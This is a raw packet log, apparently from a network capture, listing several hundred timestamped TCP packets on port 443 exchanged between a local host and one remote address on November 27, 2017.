Nov 27, 2017 12:34:07.608232975 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.609050989 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.609092951 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.609127998 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.609332085 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.609348059 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.609978914 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.610008955 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.610081911 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.610097885 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.610491037 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.611103058 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.611133099 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.611243010 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.611268044 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.612210035 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.612226963 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.612273932 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.612292051 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.612657070 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.612736940 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.612751007 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.612996101 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.613010883 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.613080978 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.613095045 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.613372087 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.613389015 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.613483906 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.613498926 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.614480019 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.615488052 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.615504980 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.615515947 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.615524054 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.615531921 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.615621090 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.615649939 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.616326094 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.616348028 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.616384983 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.616440058 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.616456985 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.617743969 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.617765903 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.617975950 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.617991924 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.618051052 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.618067026 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.618911982 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.619669914 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.619694948 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.619702101 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.619734049 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.619788885 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.619801998 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.620099068 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.620115042 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.620409012 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.620429993 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.620466948 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.620480061 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.620788097 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.620883942 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.620898962 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.621690035 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.622590065 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.622601986 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.622613907 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.622618914 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.622625113 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.622744083 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.622765064 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.637427092 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.637443066 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.637546062 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.637562990 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.638392925 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.638418913 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.638542891 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.638562918 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.639292002 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.639312029 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.639319897 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.639421940 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.639447927 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.639957905 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.639982939 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.640224934 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.640240908 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.640252113 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.640336990 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.640358925 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.640527964 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.640547991 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.641555071 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.641571999 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.643084049 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.644257069 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.648421049 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.648447990 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.648516893 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.648535967 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.649312973 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.649336100 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.649353981 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.649435043 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.649455070 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.651385069 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.651410103 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.651627064 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.651663065 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.651679039 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.651683092 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.651706934 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.652007103 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.652033091 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.652142048 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.652164936 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.652230024 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.652323961 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.652367115 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.652508020 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.652518034 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.652542114 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.652559996 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.652585030 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.653681040 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.658622980 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.659285069 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.659307003 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.659342051 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.659446955 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.659473896 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.659758091 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.659775972 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.659853935 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.659871101 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.660393953 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.660409927 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.660505056 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.660525084 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.661056042 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.661084890 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.661214113 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.661231041 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.662764072 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.662787914 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.662837982 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.662849903 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.662866116 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.663294077 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.663768053 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.665887117 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.665916920 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.665931940 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.666043997 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.668205023 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.668227911 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.668246031 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.668349028 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.668363094 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.668386936 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.668406963 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.668452024 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.668467045 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.668699980 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.668826103 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.668857098 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.669344902 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.669368982 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.669486046 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.669521093 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.669696093 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.669713020 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.669806004 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.669835091 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.669848919 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.669867992 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.669881105 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.670416117 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.670430899 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.671962023 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.674669027 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.674691916 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.674710989 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.674837112 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.676244974 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.677412987 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.677444935 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.677580118 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.677598953 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.677933931 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.677969933 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.678212881 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.678240061 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.678258896 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.678338051 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.678368092 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.679267883 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.679311037 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.679421902 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.679447889 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.679471970 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.679495096 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.679691076 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.679719925 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.679739952 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.679863930 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.679893970 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.682811975 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.682840109 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.684423923 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.684565067 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.684583902 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.685007095 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.685018063 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.685157061 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.685184956 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.685822964 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.685843945 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.685971975 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.685993910 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.686487913 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.686510086 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.686634064 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.686655045 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.686781883 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.686805010 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.687064886 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.687082052 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.687531948 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.687536001 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.687788963 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.687812090 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.688565969 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.688738108 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.688759089 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.688771009 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.689708948 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.693763018 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.694109917 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.694237947 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.694273949 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.694643974 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.694659948 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.695286036 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.695318937 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.696090937 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.696113110 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.696265936 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.696295977 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.696413040 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.696430922 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.696718931 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.696748972 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.698056936 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.698071003 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.698208094 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.698231936 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.698784113 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.698797941 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.698803902 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.698807955 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.699166059 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.699170113 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.699191093 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.699255943 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.699264050 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.699526072 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.699541092 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.700375080 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.700701952 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.702119112 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.702137947 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.702199936 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.702214956 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.703852892 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.703871965 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.703990936 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.704010963 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.704580069 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.704608917 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.704679966 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.704696894 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.705367088 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.705404043 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.705513000 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.705549955 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.709167004 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.709192991 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.709238052 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.709311008 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.709327936 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.711889982 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.711906910 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.712064981 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.712084055 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.712132931 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.712147951 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.712449074 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.712471008 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.712632895 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.712656975 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.712745905 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.712759018 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.712768078 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.712855101 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.712877035 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.713468075 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.713483095 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.713491917 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.713582039 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.713603020 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.713962078 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.713983059 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.714098930 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.714117050 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.716211081 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.716229916 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.716605902 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.716623068 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.716686964 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.721328974 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.721940994 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.721957922 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.722095013 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.722114086 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.728560925 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.728584051 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.728614092 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.728631020 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.728688955 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.728708029 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.728727102 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.729722977 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.729743004 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.729852915 CET	49161	443	192.168.1.91	93.184.221.200
Nov 27, 2017 12:34:07.729871035 CET	443	49161	93.184.221.200	192.168.1.91
Nov 27, 2017 12:34:07.730206013 CET	443	49161	93.184.221.200	192.168.1.91
